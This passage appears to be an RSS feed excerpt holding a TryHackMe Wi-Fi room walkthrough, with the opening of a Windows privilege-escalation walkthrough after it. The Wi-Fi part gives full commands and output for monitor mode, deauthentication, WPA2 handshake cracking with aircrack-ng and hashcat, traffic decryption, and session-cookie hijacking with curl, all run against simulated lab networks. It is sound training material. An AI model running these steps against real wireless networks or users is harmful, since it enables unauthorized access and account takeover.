(yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.146.169.56&#39; (ED25519) to the list of known hosts.<br>user@10.146.169.56&#39;s password: <br>Linux ip-10-146-169-56 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64<br>The programs included with the Debian GNU/Linux system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.<br>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>permitted by applicable law.<br>Last login: Tue Sep 22 10:08:29 2026 from 192.168.128.181<br><br>user@ip-10-146-169-56:~$ sudo airmon-ng check kill<br>Killing these processes:<br>    PID Name<br>    494 dhclient<br>    675 wpa_supplicant<br><br>user@ip-10-146-169-56:~$ sudo airmon-ng start wlan0<br>PHY Interface Driver  Chipset<br>phy2 wlan0  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon<br>phy3 wlan1  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211 station mode vif disabled for [phy2]wlan0<br>phy4 wlan2  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy5 wlan3  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>null wlan38  ??????  non-mac80211 device? (report this!)<br>null wlan39  ??????  non-mac80211 device? (report this!)<br>phy6 wlan4  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy7 wlan5  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy62 wlan60  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy63 wlan61  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy64 wlan62  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy65 wlan63  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211</pre><p>The command airmon-ng start wlan0 enabled monitor mode for the wireless interface.</p><p>The tool from the Aircrack-ng suite used to decrypt a WPA2 capture with the passphrase is airdecap-ng.</p><h3>Task 2: Connecting to an Open Wi-Fi Network</h3><p>Next, I connected to the open network Guest-WiFi by creating a configuration file.</p><pre>user@ip-10-146-169-56:~$ nano guest-open.conf</pre><pre>network={<br>    ssid=&quot;Guest-WiFi&quot;<br>    key_mgmt=NONE<br>}</pre><pre>user@ip-10-146-169-56:~$ sudo wpa_supplicant -B -i wlan2 -c guest-open.conf<br>Successfully initialized wpa_supplicant<br><br>user@ip-10-146-169-56:~$ sudo dhclient wlan2<br><br>user@ip-10-146-169-56:~$ sudo iw dev wlan2 connect Guest-WiFi<br>command failed: Operation already in progress (-114)<br>user@ip-10-146-169-56:~$ ip addr show wlan2<br>9: wlan2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000<br>    link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff<br>    inet 192.168.10.84/24 brd 192.168.10.255 scope global wlan2<br>       valid_lft forever preferred_lft forever<br>    inet6 fe80::ff:fe00:200/64 scope link <br>       valid_lft forever preferred_lft forever<br><br>user@ip-10-146-169-56:~$ curl -sI http://192.168.10.1/<br>HTTP/1.1 511 Network Authentication Required<br>Content-Length: 1289<br>Connection: close<br>Content-Type: text/html; charset=utf-8<br>Date: Thu, 22 Oct 2026 04:34:38 GMT<br><br>user@ip-10-146-169-56:~$ sudo airodump-ng -c 6 --bssid F0:9F:C2:71:22:10 wlan0mon<br> CH  6 ][ Elapsed: 18 s ][ 2026-10-22 06:35 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   CH  6 ][ Elapsed: 18 s ][ 2026-10-22 06:35 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH CH  6 ][ Elapsed: 24 s ][ 2026-10-22 06:35 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER <br> CH  6 ][ Elapsed: 24 s ][ 2026-10-22 06:35 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH CH  6 ][ Elapsed: 24 s ][ 2026-10-22 06:35 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER Quitting...lapsed: 2 mins ][ 2026-10-22 06:37 <br> F0:9F:C2:71:22:10  -28   0     1557     1367    5   6   54   OPN       <br> BSSID              STATION            PWR    Rate    Lost   Frames  Not<br> F0:9F:C2:71:22:10  80:18:44:BF:72:47  -29   54 -54      0      158        <br> F0:9F:C2:71:22:10  B0:72:BF:B0:78:48  -29   54 -54      0      125        <br> F0:9F:C2:71:22:10  02:00:00:00:02:00  -29    0 - 1      0        3        <br> F0:9F:C2:71:22:10  B0:72:BF:44:B0:49  -29   54 -54      0     1085<br><br>user@ip-10-146-169-56:~$ sudo ip link set wlan2 down<br><br>user@ip-10-146-169-56:~$ sudo ip link set wlan2 up<br><br>user@ip-10-146-169-56:~$ curl -sI http://192.168.10.1/<br>HTTP/1.1 302 Found<br>Date: Thu, 22 Oct 2026 04:36:23 GMT<br>Server: Apache/2.4.66 (Debian)<br>Set-Cookie: PHPSESSID=c08579ec3d5c9b32535b09608edaa0e8; path=/<br>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate<br>Pragma: no-cache<br>location: login.php<br>Content-Type: text/html; charset=UTF-8</pre><p>What HTTP status code does the openNDS captive portal return to a client that has not yet authenticated?</p><p>511</p><h3>Task 3: Finding Session Cookies</h3><p>I used tshark to extract HTTP cookies from the captured traffic.</p><pre>user@ip-10-146-169-56:~$ sudo tshark -r opn-01.cap -Y http.cookie -T fields -e ip.src -e http.cookie<br>Running as user &quot;root&quot; and group &quot;root&quot;. This could be dangerous.<br>192.168.10.101	PHPSESSID=aae9d7abc2c2e5fa63b93874d2445080<br>192.168.10.100	PHPSESSID=f21fc78e64f055dacd15279285f86e1f<br>192.168.10.102	PHPSESSID=87da1cf5bf60433283679b12459d97af<br><br>user@ip-10-146-169-56:~$ curl -s -b &quot;PHPSESSID=87da1cf5bf60433283679b12459d97af&quot; http://192.168.10.1/index.php<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;WiFi Router Configuration&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;script src=&quot;script.js&quot;&gt;&lt;/script&gt;<br>&lt;div class=&quot;content&quot;&gt;<br>Welcome free1&lt;br&gt;&lt;br&gt;Flag: &lt;button onclick=&quot;copyFlagToClipboard(&#39;THM{559bcac8fcb676576af3de81b40a5ef7190db4bd}&#39;)&quot;&gt;THM{559bcac8fcb676576af3de81b40a5ef7190db4bd}&lt;/button&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Congratulation! You have logged into password protected page. <br>&lt;a href=&quot;logout.php&quot;&gt;Click here&lt;/a&gt; to Logout.<br>&lt;div style=&quot;text-align:center; margin-top:40px; font-size:12px; color:#888;&quot;&gt;<br>  &lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#888; text-decoration:none;&quot;&gt;<br>    Guest Wi-Fi  <br>  &lt;/a&gt;<br>  © <br>  &lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#888; text-decoration:none;&quot;&gt;<br>    2026  &lt;/a&gt;<br>&lt;/div&gt;<br>&lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>user@ip-10-146-169-56:~$ curl -s -c admin.txt -d &quot;Username=admin&amp;Password=admin&amp;Submit=Submit&quot; http://192.168.10.1/login.php -o /dev/null<br>user@ip-10-146-169-56:~$ curl -s -b admin.txt http://192.168.10.1/index.php<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;WiFi Router Configuration&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;script src=&quot;script.js&quot;&gt;&lt;/script&gt;<br>&lt;div class=&quot;content&quot;&gt;<br>Welcome admin&lt;br&gt;&lt;br&gt;No FLAG, try logging in with another user ;)  &lt;a href=&quot;logout.php&quot;&gt;Click here&lt;/a&gt; to Logout<br><br>user@ip-10-146-169-56:~$ sudo ip link set wlan2 down<br><br>user@ip-10-146-169-56:~$ sudo macchanger -p wlan2<br>Current MAC:   80:18:44:bf:72:47 (unknown)<br>Permanent MAC: 02:00:00:00:02:00 (unknown)<br>New MAC:       02:00:00:00:02:00 (unknown)<br><br>user@ip-10-146-169-56:~$ sudo ip link set wlan2 up</pre><p>What is the flag from the open network?</p><p>THM{559bcac8fcb676576af3de81b40a5ef7190db4bd}</p><h3>Task 4: Understanding the PMK</h3><p>The key derived from the passphrase and the SSID using PBKDF2 has a three-letter abbreviation. What is it?</p><p>PMK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*8Lr3teV_oeg-5sIkGs5lHA.png" /></figure><h3>Task 5: Capturing the WPA2 Handshake</h3><p>I used airodump-ng to capture traffic from the Home-2G network.</p><pre>user@ip-10-146-169-56:~$ sudo airodump-ng -c 6 --bssid F0:9F:C2:71:22:12 -w home2g wlan0mon<br>06:55:04  Created capture file &quot;home2g-01.cap&quot;.<br>CH  6 ][ Elapsed: 1 min ][ 2026-10-22 06:56 ][ WPA handshake: F0:9F:C2:<br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER<br> F0:9F:C2:71:22:12  -28   0      731      268    3   6   54   WPA2 CCMP <br> BSSID              STATION            PWR    Rate    Lost   Frames  Not<br> F0:9F:C2:71:22:12  28:6C:07:6F:F9:43  -29   54 -54      0     1024  EAPOL <br> F0:9F:C2:71:22:12  28:6C:07:6F:F9:44  -29   54 -54      0        9        <br>Quitting...<br>user@ip-10-146-169-56:~$ sudo aireplay-ng -0 6 -a F0:9F:C2:71:22:12 -c 28:6C:07:6F:F9:43 wlan0mon<br>06:55:21  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:12) on channel 6<br>06:55:21  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>06:55:21  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>06:55:22  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>06:55:23  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>06:55:23  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>06:55:24  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]</pre><p>Which aireplay-ng attack-mode number sends deauthentication frames?</p><p>0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*nPxhhWZTPaXJdNBs8xRL9w.png" /></figure><p>What short phrase does airodump-ng display in the top-right of its header once the handshake has been captured?</p><p>WPA handshake</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*Z_66mbkOqi8dKMcdqSZ1pw.png" /></figure><h3>Task 6: Cracking the WPA2 Passphrase</h3><p>I first used Aircrack-ng to test the captured handshake against a wordlist.</p><pre>user@ip-10-146-169-56:~$ sudo aircrack-ng -w /home/user/wordlists/wifi-passwords.txt -b F0:9F:C2:71:22:12 home2g-01.cap<br>Reading packets, please wait...<br>Opening home2g-01.cap<br>Read 1842 packets.<br>1 potential targets<br>                         Aircrack-ng 1.7 rev d3127e74<br>      [00:00:06] 4796/4808 keys tested (849.84 k/s) <br>      Time left: 0 seconds                                      99.75%<br>                           KEY FOUND! [ starwars1 ]<br>      Master Key     : 72 B0 C8 BD 14 C7 6D 8B 0B B3 54 BC 46 5E EA 7B <br>                       B3 14 DC 8F E7 23 D9 DB C2 C7 36 8D 81 82 A8 EB <br>      Transient Key  : B5 FC 47 73 B0 38 C2 B4 0E 4A 01 98 B6 1F 1C B7 <br>                       D5 CB 8D 21 E7 00 A8 2D 16 38 35 CA 7D 01 1F DD <br>                       60 66 BA 69 8F AD 56 60 2A C4 1F F9 55 7F 76 F9 <br>                       1A 71 19 9B EE CC C9 28 96 58 0D 76 19 E3 F4 EF <br>      EAPOL HMAC     : 57 86 4E EC 95 82 B9 C7 56 18 92 6A 1D 8F 3F 0F</pre><p>The passphrase was recovered successfully:</p><p>starwars1</p><p>I then converted the capture to Hashcat’s format.</p><pre>user@ip-10-146-169-56:~$ sudo hcxpcapngtool -o home2g.22000 home2g-01.cap<br>hcxpcapngtool 7.1.0 reading from home2g-01.cap...<br><br>summary capture file<br>--------------------<br>file name................................: home2g-01.cap<br>version (pcap/cap).......................: 2.4 (very basic format without any additional information)<br>timestamp minimum (timestamp)............: 22.10.2026 04:55:04 (1792644904)<br>timestamp maximum (timestamp)............: 22.10.2026 04:56:19 (1792644979)<br>duration of the dump tool (minutes)......: 1<br>used capture interfaces..................: 1<br>link layer header type...................: DLT_IEEE802_11 (105) very basic format without any additional information about the quality<br>endianness...............................: little endian<br>packets inside...........................: 1842<br>ESSID (total unique).....................: 1<br>BEACON (total)...........................: 1<br>BEACON on 2.4 GHz channel (from IE_TAG)..: 6<br>PROBERESPONSE (total)....................: 30<br>DEAUTHENTICATION (total).................: 1536<br>AUTHENTICATION (total)...................: 4<br>AUTHENTICATION (OPEN SYSTEM).............: 4<br>ASSOCIATIONREQUEST (total)...............: 1<br>ASSOCIATIONREQUEST (PSK).................: 1<br>WPA encrypted............................: 264<br>EAPOL messages (total)...................: 4<br>EAPOL RSN messages.......................: 4<br>EAPOLTIME gap (measured maximum msec)....: 2<br>EAPOL M1 messages (total)................: 1<br>EAPOL M2 messages (total)................: 1<br>EAPOL M3 messages (total)................: 1<br>EAPOL M4 messages (total)................: 1<br>EAPOL pairs (total)......................: 2<br>EAPOL pairs (best).......................: 1<br>EAPOL pairs written to 22000 hash file...: 1 (RC checked)<br><br>session summary<br>---------------<br>processed cap files...................: 1</pre><p>Next, I ran Hashcat using mode 22000.</p><pre>user@ip-10-146-169-56:~$ hashcat -m 22000 home2g.22000 /home/user/wordlists/wifi-passwords.txt<br>hashcat (v6.0.0) starting...<br><br>OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]<br>==================================================================================================================================================<br>* Device #1: pthread-haswell-AMD EPYC 7571, 2836/2900 MB (1024 MB allocatable)<br><br>Minimum password length supported by kernel: 8<br>Maximum password length supported by kernel: 63<br><br>Dictionary cache built:<br>* Filename..: /home/user/wordlists/wifi-passwords.txt<br>* Passwords.: 4808<br>* Bytes.....: 45375<br>* Keyspace..: 4808<br><br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Name........: WPA-PBKDF2-PMKID+EAPOL<br>Hash.Target......: home2g.22000<br>Recovered........: 1/1 (100.00%)</pre><p>I verified the result with:</p><pre>user@ip-10-146-169-56:~$ hashcat -m 22000 home2g.22000 --show<br>c367cff0dcd1a208a3615c3ee149ea70:f09fc2712212:286c076ff943:Home-2G:starwars1</pre><p>What is the hashcat hash-mode number used to crack a WPA/WPA2 handshake?</p><p>22000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*I5QAXik2vQZg298DhxaTCA.png" /></figure><p>What is the recovered passphrase for the Home-2G network?</p><p>starwars1</p><h3>Task 7: Connecting to Home-2G</h3><p>I used wpa_passphrase to generate a configuration file for the secured network.</p><pre>user@ip-10-146-169-56:~$ wpa_passphrase Home-2G &lt;passphrase &gt;&gt; home2g.conf<br>-bash: passphrase: No such file or directory<br>user@ip-10-146-169-56:~$ wpa_passphrase Home-2G starwars1 &gt; home2g.conf<br>user@ip-10-146-169-56:~$ cat home2g.conf<br>network={<br>	ssid=&quot;Home-2G&quot;<br>	#psk=&quot;starwars1&quot;<br>	psk=5415fb44ac0fba708c258de77fa208825ffc060a22a6f73dc3472b817417ad06<br>}<br><br>user@ip-10-146-169-56:~$ sudo wpa_supplicant -B -i wlan1 -c home2g.conf<br>Successfully initialized wpa_supplicant<br>user@ip-10-146-169-56:~$ sudo iw dev wlan1 link<br>Connected to f0:9f:c2:71:22:12 (on wlan1)<br>	SSID: Home-2G<br>	freq: 2437<br>	RX: 4680 bytes (74 packets)<br>	TX: 1050 bytes (10 packets)<br>	signal: -30 dBm<br>	rx bitrate: 1.0 MBit/s<br>	tx bitrate: 36.0 MBit/s<br><br>	bss flags:	short-slot-time<br>	dtim period:	2<br>	beacon int:	100<br><br>user@ip-10-146-169-56:~$ sudo dhclient -v wlan1<br>Internet Systems Consortium DHCP Client 4.4.3-P1<br>Copyright 2004-2022 Internet Systems Consortium.<br>All rights reserved.<br>For info, please visit https://www.isc.org/software/dhcp/<br><br>Listening on LPF/wlan1/02:00:00:00:01:00<br>Sending on   LPF/wlan1/02:00:00:00:01:00<br>Sending on   Socket/fallback<br>DHCPDISCOVER on wlan1 to 255.255.255.255 port 67 interval 4<br>DHCPOFFER of 192.168.2.23 from 192.168.2.1<br>DHCPREQUEST for 192.168.2.23 on wlan1 to 255.255.255.255 port 67<br>DHCPACK of 192.168.2.23 from 192.168.2.1<br>bound to 192.168.2.23 -- renewal in 38721 seconds.<br><br>user@ip-10-146-169-56:~$ sudo nmap -sn 192.168.2.0/24<br>Starting Nmap 7.93 ( https://nmap.org ) at 2026-10-22 07:03 CEST<br>Nmap scan report for 192.168.2.1<br>Host is up (0.00023s latency).<br>MAC Address: F0:9F:C2:71:22:12 (Ubiquiti Networks)<br>Nmap scan report for 192.168.2.7<br>Host is up (0.00033s latency).<br>MAC Address: 28:6C:07:6F:F9:44 (Xiaomi Electronics,co.)<br>Nmap scan report for 192.168.2.8<br>Host is up (0.00032s latency).<br>MAC Address: 28:6C:07:6F:F9:44 (Xiaomi Electronics,co.)<br>Nmap scan report for 192.168.2.23<br>Host is up.<br>Nmap done: 256 IP addresses (4 hosts up) scanned in 28.11 seconds<br><br>user@ip-10-146-169-56:~$ sudo nmap -Pn 192.168.2.1<br>Starting Nmap 7.93 ( https://nmap.org ) at 2026-10-22 07:04 CEST<br>Nmap scan report for 192.168.2.1<br>Host is up (0.000098s latency).<br>Not shown: 996 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>53/tcp   open  domain<br>80/tcp   open  http<br>443/tcp  open  https<br>8080/tcp open  http-proxy<br>MAC Address: F0:9F:C2:71:22:12 (Ubiquiti Networks)<br><br>Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds<br>user@ip-10-146-169-56:~$ curl -s -D - http://192.168.2.1/ -o /dev/null<br>HTTP/1.1 302 Found<br>Date: Thu, 22 Oct 2026 05:04:28 GMT<br>Server: Apache/2.4.66 (Debian)<br>Set-Cookie: PHPSESSID=e2fe9b2aeed1788ea1f7918dd0869b21; path=/<br>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate<br>Pragma: no-cache<br>location: login.php<br>Content-Length: 0<br>Content-Type: text/html; charset=UTF-8<br><br>user@ip-10-146-169-56:~$ curl -s -c cookies.txt -d &quot;Username=admin&amp;Password=admin&amp;Submit=Submit&quot; http://192.168.2.1/login.php -o /dev/null<br><br>user@ip-10-146-169-56:~$ curl -s -b cookies.txt http://192.168.2.1/index.php<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;WiFi Router Configuration&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br><br>&lt;script src=&quot;script.js&quot;&gt;&lt;/script&gt;<br><br>&lt;div class=&quot;content&quot;&gt;<br><br>Welcome admin&lt;br&gt;&lt;br&gt;No FLAG, try logging in with another user ;)  &lt;a href=&quot;logout.php&quot;&gt;Click here&lt;/a&gt; to Logout</pre><p>The connection was successful, and the router assigned my interface the IP address 192.168.2.23.</p><p>I scanned the subnet with Nmap and found the router at 192.168.2.1. The default credentials admin:admin allowed me to log in, but the page did not contain the flag.</p><p>Which utility generates the wpa_supplicant PSK configuration from an SSID and passphrase?</p><p><strong>wpa_passphrase</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*vzG6Ipsz56gVAAc8klxu0A.png" /></figure><p>What default credentials log into the router admin panel? (format username:password)</p><p><strong>admin:admin</strong></p><h3>Task 8: Decrypting Traffic and Finding the Final Flag</h3><p>I captured more traffic from the Home-2G network and used the recovered passphrase to decrypt the supported data packets.</p><pre>user@ip-10-146-169-56:~$ sudo airodump-ng -c 6 --bssid F0:9F:C2:71:22:12 -w home2g-http wlan0mon<br>07:06:38  Created capture file &quot;home2g-http-01.cap&quot;.<br><br> CH  6 ][ Elapsed: 1 min ][ 2026-10-22 07:07 ][ WPA handshake: F0:9F:C2:<br><br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER<br><br> F0:9F:C2:71:22:12  -28 100      691      283    9   6   54   WPA2 CCMP <br><br> BSSID              STATION            PWR    Rate    Lost   Frames  Not<br><br> F0:9F:C2:71:22:12  28:6C:07:6F:F9:44  -29   54 - 1      0        7        <br> F0:9F:C2:71:22:12  02:00:00:00:01:00  -29    0 -54      0        3        <br> F0:9F:C2:71:22:12  28:6C:07:6F:F9:43  -29   54 -54      0     1040  EAPOL <br>Quitting...<br><br>user@ip-10-146-169-56:~$ sudo aireplay-ng -0 6 -a F0:9F:C2:71:22:12 -c 28:6C:07:6F:F9:43 wlan0mon<br>07:07:10  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:12) on channel 6<br>07:07:10  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>07:07:10  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>07:07:11  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:71:22:12] [ 0| 0 ACKs]<br>07:07:11  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>07:07:12  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br>07:07:13  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:6F:F9:43] [ 0| 0 ACKs]<br><br>user@ip-10-146-169-56:~$ sudo airdecap-ng -e Home-2G -p starwars1 home2g-http-01.cap<br>Total number of stations seen            6<br>Total number of packets read          1833<br>Total number of WEP data packets         0<br>Total number of WPA data packets       259<br>Number of plaintext data packets         0<br>Number of decrypted WEP  packets         0<br>Number of corrupted WEP  packets         0<br>Number of decrypted WPA  packets        54<br>Number of bad TKIP (WPA) packets         0<br>Number of bad CCMP (WPA) packets         0<br><br>user@ip-10-146-169-56:~$ sudo tshark -r home2g-http-01-dec.cap -Y http.cookie -T fields -e ip.src -e http.cookie<br>Running as user &quot;root&quot; and group &quot;root&quot;. This could be dangerous.<br>192.168.2.7	PHPSESSID=bdaf020fde7d0a7fb3ab0fb9c736c181<br>192.168.2.7	PHPSESSID=b2b5e507567794d8966b0f90f2ed3fb3<br>192.168.2.7	PHPSESSID=bdaf020fde7d0a7fb3ab0fb9c736c181<br>192.168.2.7	PHPSESSID=b2b5e507567794d8966b0f90f2ed3fb3<br>192.168.2.7	PHPSESSID=bdaf020fde7d0a7fb3ab0fb9c736c181<br><br>user@ip-10-146-169-56:~$ curl -s -b &quot;PHPSESSID=bdaf020fde7d0a7fb3ab0fb9c736c181&quot; http://192.168.2.1/index.php<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;WiFi Router Configuration&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br><br>&lt;script src=&quot;script.js&quot;&gt;&lt;/script&gt;<br><br>&lt;div class=&quot;content&quot;&gt;<br><br>Welcome test2&lt;br&gt;&lt;br&gt;Flag: &lt;button onclick=&quot;copyFlagToClipboard(&#39;THM{9f863bbec27bd00458dfa5f84fe3a81f1f688955}&#39;)&quot;&gt;THM{9f863bbec27bd00458dfa5f84fe3a81f1f688955}&lt;/button&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Congratulation! You have logged into password protected page. <br>&lt;a href=&quot;logout.php&quot;&gt;Click here&lt;/a&gt; to Logout.<br>&lt;div style=&quot;text-align:center; margin-top:40px; font-size:12px; color:#888;&quot;&gt;<br>  &lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#888; text-decoration:none;&quot;&gt;<br>    Guest Wi-Fi  <br>  &lt;/a&gt;<br>  © <br>  &lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#888; text-decoration:none;&quot;&gt;<br>    2026  &lt;/a&gt;<br>&lt;/div&gt;<br>&lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>The decrypted traffic contained PHPSESSID session cookies. I used one of the captured cookies to access the protected page as the user test2.</p><p>Which tool from the aircrack-ng suite decrypts a WPA2 capture when you supply the passphrase?</p><p>airdecap-ng</p><p>What is the name of the session cookie stolen from the decrypted HTTP traffic?</p><p>PHPSESSID</p><p>What is the flag retrieved from the WPA2-PSK network?</p><p>THM{9f863bbec27bd00458dfa5f84fe3a81f1f688955}</p><h3>Task 9: Room Completed</h3><p>You have finished. Click Complete to continue.</p><p>No answer needed</p><h3>Conclusion</h3><p>This room gave me hands-on experience with wireless security tools and showed how weak Wi-Fi passwords and exposed HTTP session cookies can create security risks.</p><p>The main tools I used were:</p><ul><li>airmon-ng to prepare the wireless interface.</li><li>airodump-ng to capture wireless traffic.</li><li>aircrack-ng and hashcat to recover the WPA2 passphrase.</li><li>wpa_passphrase to generate a wireless configuration.</li><li>nmap to discover hosts and open ports.</li><li>tshark to extract HTTP cookies.</li><li>airdecap-ng to decrypt supported captured wireless traffic.</li></ul><p>The biggest takeaway is that strong Wi-Fi passwords and encrypted web connections are both important. Protecting one layer does not automatically protect everything else.</p><p>Thanks for reading, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4da840eccaf1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Jump — TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@ag3ntorang3cyb3r/windows-jump-walkthrough-from-guest-access-to-system-27909ae3af2a?source=rss-91510a24d95d------2</link>
            <guid isPermaLink="false">https://medium.com/p/27909ae3af2a</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Ag3ntOrang3]]></dc:creator>
            <pubDate>Tue, 30 Jun 2026 08:39:34 GMT</pubDate>
            <atom:updated>2026-06-30T08:41:46.840Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCOVeLnYMelOK8eSqGP2gA.png" /></figure><h3>From Guest Access to SYSTEM</h3><p>Windows privilege escalation often comes down to one thing: small configuration mistakes that compound into complete system compromise. In the <strong>Windows Jump</strong> room, we begin with nothing more than guest access to an abandoned workstation and gradually chain together several common Windows misconfigurations until we obtain <strong>NT AUTHORITY\SYSTEM</strong>.</p><p>The privilege escalation path looks like this:</p><pre>guest → thmuser → notadmin → svcadmin → SYSTEM</pre><h3>Initial Reconnaissance</h3><p>The first step was identifying the services running on the target.</p><pre>rustscan -a &lt;TARGET_IP&gt; -- -A<br><br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: http://discord.skerritt.blog         :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br><br><br>PORT      STATE SERVICE       REASON          VERSION<br>135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds? syn-ack ttl 126<br>3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services<br>5985/tcp  open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>7680/tcp  open  pando-pub?    syn-ack ttl 126<br>47001/tcp open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>49665/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>49666/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>49667/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>49669/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>49670/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows 